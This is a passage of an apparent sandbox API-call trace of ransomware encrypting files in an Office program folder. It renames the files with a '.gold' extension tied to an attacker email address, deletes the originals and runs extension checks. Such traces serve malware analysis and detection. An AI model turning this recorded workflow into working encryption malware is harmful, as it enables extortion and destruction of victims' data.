liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.721] SetEndOfFile (hFile=0x38c) returned 1 [0103.723] CloseHandle (hObject=0x38c) returned 1 [0103.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_f_col.hxk")) returned 1 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString=".doc") returned 4 [0103.724] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.724] lstrlenW (lpString=".docx") returned 5 [0103.724] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.724] lstrlenW (lpString=".pdf") returned 4 [0103.724] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString=".xls") returned 4 [0103.724] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString=".xlsx") returned 5 [0103.724] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.724] lstrlenW (lpString=".ppt") returned 4 [0103.724] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString=".zip") returned 4 [0103.724] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString=".rar") returned 4 [0103.724] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString=".bz2") returned 4 [0103.724] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.724] lstrlenW (lpString=".7z") returned 3 [0103.724] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString=".dbf") returned 4 [0103.724] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString=".1cd") returned 4 [0103.724] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString=".jpg") returned 4 [0103.724] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.724] lstrlenW (lpString=".doc") returned 4 [0103.724] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.724] lstrlenW (lpString=".docx") returned 5 [0103.724] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.724] lstrlenW (lpString=".pdf") returned 4 [0103.724] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString=".xls") returned 4 [0103.724] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.724] lstrlenW (lpString=".xlsx") returned 5 [0103.725] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.725] lstrlenW (lpString=".ppt") returned 4 [0103.725] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.725] lstrlenW (lpString=".zip") returned 4 [0103.725] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.725] lstrlenW (lpString=".rar") returned 4 [0103.725] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.725] lstrlenW (lpString=".bz2") returned 4 [0103.725] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.725] lstrlenW (lpString=".7z") returned 3 [0103.725] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.725] lstrlenW (lpString=".dbf") returned 4 [0103.725] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.725] lstrlenW (lpString=".1cd") returned 4 [0103.725] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_F_COL.HXK") returned 64 [0103.725] lstrlenW (lpString=".jpg") returned 4 [0103.725] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.725] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0103.725] lstrlenW (lpString="MSTORE_K_COL.HXK") returned 16 [0103.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.726] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=113) returned 1 [0103.726] CloseHandle (hObject=0x38c) returned 1 [0103.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 0x20 [0103.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0103.726] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.726] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0103.727] GetLastError () returned 0x0 [0103.727] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x71, lpOverlapped=0x0) returned 1 [0103.727] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x80, lpOverlapped=0x0) returned 1 [0103.728] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.728] WriteFile (in: hFile=0x3b4, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0103.728] SetEndOfFile (hFile=0x3b4) returned 1 [0103.728] CloseHandle (hObject=0x3b4) returned 1 [0103.728] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.728] SetEndOfFile (hFile=0x38c) returned 1 [0103.730] CloseHandle (hObject=0x38c) returned 1 [0103.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.730] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstore_k_col.hxk")) returned 1 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString=".doc") returned 4 [0103.731] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.731] lstrlenW (lpString=".docx") returned 5 [0103.731] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.731] lstrlenW (lpString=".pdf") returned 4 [0103.731] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.731] lstrlenW (lpString=".xls") returned 4 [0103.731] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.731] lstrlenW (lpString=".xlsx") returned 5 [0103.731] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.731] lstrlenW (lpString=".ppt") returned 4 [0103.731] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString=".zip") returned 4 [0103.731] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.731] lstrlenW (lpString=".rar") returned 4 [0103.731] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.731] lstrlenW (lpString=".bz2") returned 4 [0103.731] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.731] lstrlenW (lpString=".7z") returned 3 [0103.731] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString=".dbf") returned 4 [0103.731] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString=".1cd") returned 4 [0103.731] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString=".jpg") returned 4 [0103.731] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.731] lstrlenW (lpString=".doc") returned 4 [0103.731] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0103.731] lstrlenW (lpString=".docx") returned 5 [0103.731] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0103.732] lstrlenW (lpString=".pdf") returned 4 [0103.732] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0103.732] lstrlenW (lpString=".xls") returned 4 [0103.732] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0103.732] lstrlenW (lpString=".xlsx") returned 5 [0103.732] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0103.732] lstrlenW (lpString=".ppt") returned 4 [0103.732] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0103.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.732] lstrlenW (lpString=".zip") returned 4 [0103.732] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0103.732] lstrlenW (lpString=".rar") returned 4 [0103.732] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0103.732] lstrlenW (lpString=".bz2") returned 4 [0103.732] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0103.732] lstrlenW (lpString=".7z") returned 3 [0103.732] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0103.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.732] lstrlenW (lpString=".dbf") returned 4 [0103.732] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0103.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.732] lstrlenW (lpString=".1cd") returned 4 [0103.732] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0103.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTORE_K_COL.HXK") returned 64 [0103.732] lstrlenW (lpString=".jpg") returned 4 [0103.732] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0103.732] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0103.732] lstrlenW (lpString="NETWORK1.VRD") returned 12 [0103.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0103.743] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1844) returned 1 [0103.743] CloseHandle (hObject=0x3c8) returned 1 [0103.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 0x20 [0103.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0103.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0103.744] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.744] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0103.763] GetLastError () returned 0x0 [0103.763] ReadFile (in: hFile=0x3c8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x734, lpOverlapped=0x0) returned 1 [0103.819] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x740, lpOverlapped=0x0) returned 1 [0103.820] ReadFile (in: hFile=0x3c8, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0103.820] WriteFile (in: hFile=0x3bc, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0103.820] SetEndOfFile (hFile=0x3bc) returned 1 [0103.820] CloseHandle (hObject=0x3bc) returned 1 [0103.820] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0103.820] SetEndOfFile (hFile=0x3c8) returned 1 [0103.822] CloseHandle (hObject=0x3c8) returned 1 [0103.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0103.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network1.vrd")) returned 1 [0104.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.017] lstrlenW (lpString=".doc") returned 4 [0104.017] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0104.017] lstrlenW (lpString=".docx") returned 5 [0104.017] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0104.017] lstrlenW (lpString=".pdf") returned 4 [0104.017] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0104.017] lstrlenW (lpString=".xls") returned 4 [0104.017] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0104.017] lstrlenW (lpString=".xlsx") returned 5 [0104.017] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0104.017] lstrlenW (lpString=".ppt") returned 4 [0104.017] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0104.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.017] lstrlenW (lpString=".zip") returned 4 [0104.017] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0104.017] lstrlenW (lpString=".rar") returned 4 [0104.017] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0104.017] lstrlenW (lpString=".bz2") returned 4 [0104.017] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0104.017] lstrlenW (lpString=".7z") returned 3 [0104.017] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0104.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.017] lstrlenW (lpString=".dbf") returned 4 [0104.017] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0104.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.017] lstrlenW (lpString=".1cd") returned 4 [0104.018] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.018] lstrlenW (lpString=".jpg") returned 4 [0104.018] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.018] lstrlenW (lpString=".doc") returned 4 [0104.018] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString=".docx") returned 5 [0104.018] lstrcmpiW (lpString1=".docx", lpString2="1.VRD") returned -1 [0104.018] lstrlenW (lpString=".pdf") returned 4 [0104.018] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString=".xls") returned 4 [0104.018] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0104.018] lstrlenW (lpString=".xlsx") returned 5 [0104.018] lstrcmpiW (lpString1=".xlsx", lpString2="1.VRD") returned -1 [0104.018] lstrlenW (lpString=".ppt") returned 4 [0104.018] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.018] lstrlenW (lpString=".zip") returned 4 [0104.018] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0104.018] lstrlenW (lpString=".rar") returned 4 [0104.018] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString=".bz2") returned 4 [0104.018] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString=".7z") returned 3 [0104.018] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0104.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.018] lstrlenW (lpString=".dbf") returned 4 [0104.018] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.018] lstrlenW (lpString=".1cd") returned 4 [0104.018] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0104.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK1.VRD") returned 60 [0104.018] lstrlenW (lpString=".jpg") returned 4 [0104.018] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0104.018] lstrcmpiW (lpString1=".EXE", lpString2=".gold") returned -1 [0104.018] lstrlenW (lpString="ONELEV.EXE") returned 10 [0104.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.085] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=57224) returned 1 [0104.085] CloseHandle (hObject=0x198) returned 1 [0104.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe")) returned 0x20 [0104.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onelev.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0104.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.096] lstrlenW (lpString=".doc") returned 4 [0104.096] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0104.096] lstrlenW (lpString=".docx") returned 5 [0104.096] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0104.096] lstrlenW (lpString=".pdf") returned 4 [0104.096] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0104.096] lstrlenW (lpString=".xls") returned 4 [0104.096] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0104.096] lstrlenW (lpString=".xlsx") returned 5 [0104.096] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0104.096] lstrlenW (lpString=".ppt") returned 4 [0104.096] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0104.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.096] lstrlenW (lpString=".zip") returned 4 [0104.096] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0104.096] lstrlenW (lpString=".rar") returned 4 [0104.096] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0104.096] lstrlenW (lpString=".bz2") returned 4 [0104.096] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0104.096] lstrlenW (lpString=".7z") returned 3 [0104.096] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0104.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.096] lstrlenW (lpString=".dbf") returned 4 [0104.096] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0104.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString=".1cd") returned 4 [0104.097] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0104.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString=".jpg") returned 4 [0104.097] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0104.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONELEV.EXE") returned 58 [0104.097] lstrlenW (lpString=".doc") returned 4 [0104.097] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0104.097] lstrlenW (lpString=".docx") returned 5 [0104.097] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0104.097] lstrlenW (lpString=".pdf") returned 4 [0104.097] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0104.097] lstrlenW (lpString=".xls") returned 4 [0104.097] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0104.097] lstrlenW (lpString=".xlsx") returned 5 [0104.097] lstrcmpiW (lpString1=".xlsx", lpString2="V.EXE") returned -1 [0104.097] lstrlenW (lpString=".ppt") returned 4 [0104.097] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0104.097] lstrlenW (lpString="C:\\Program 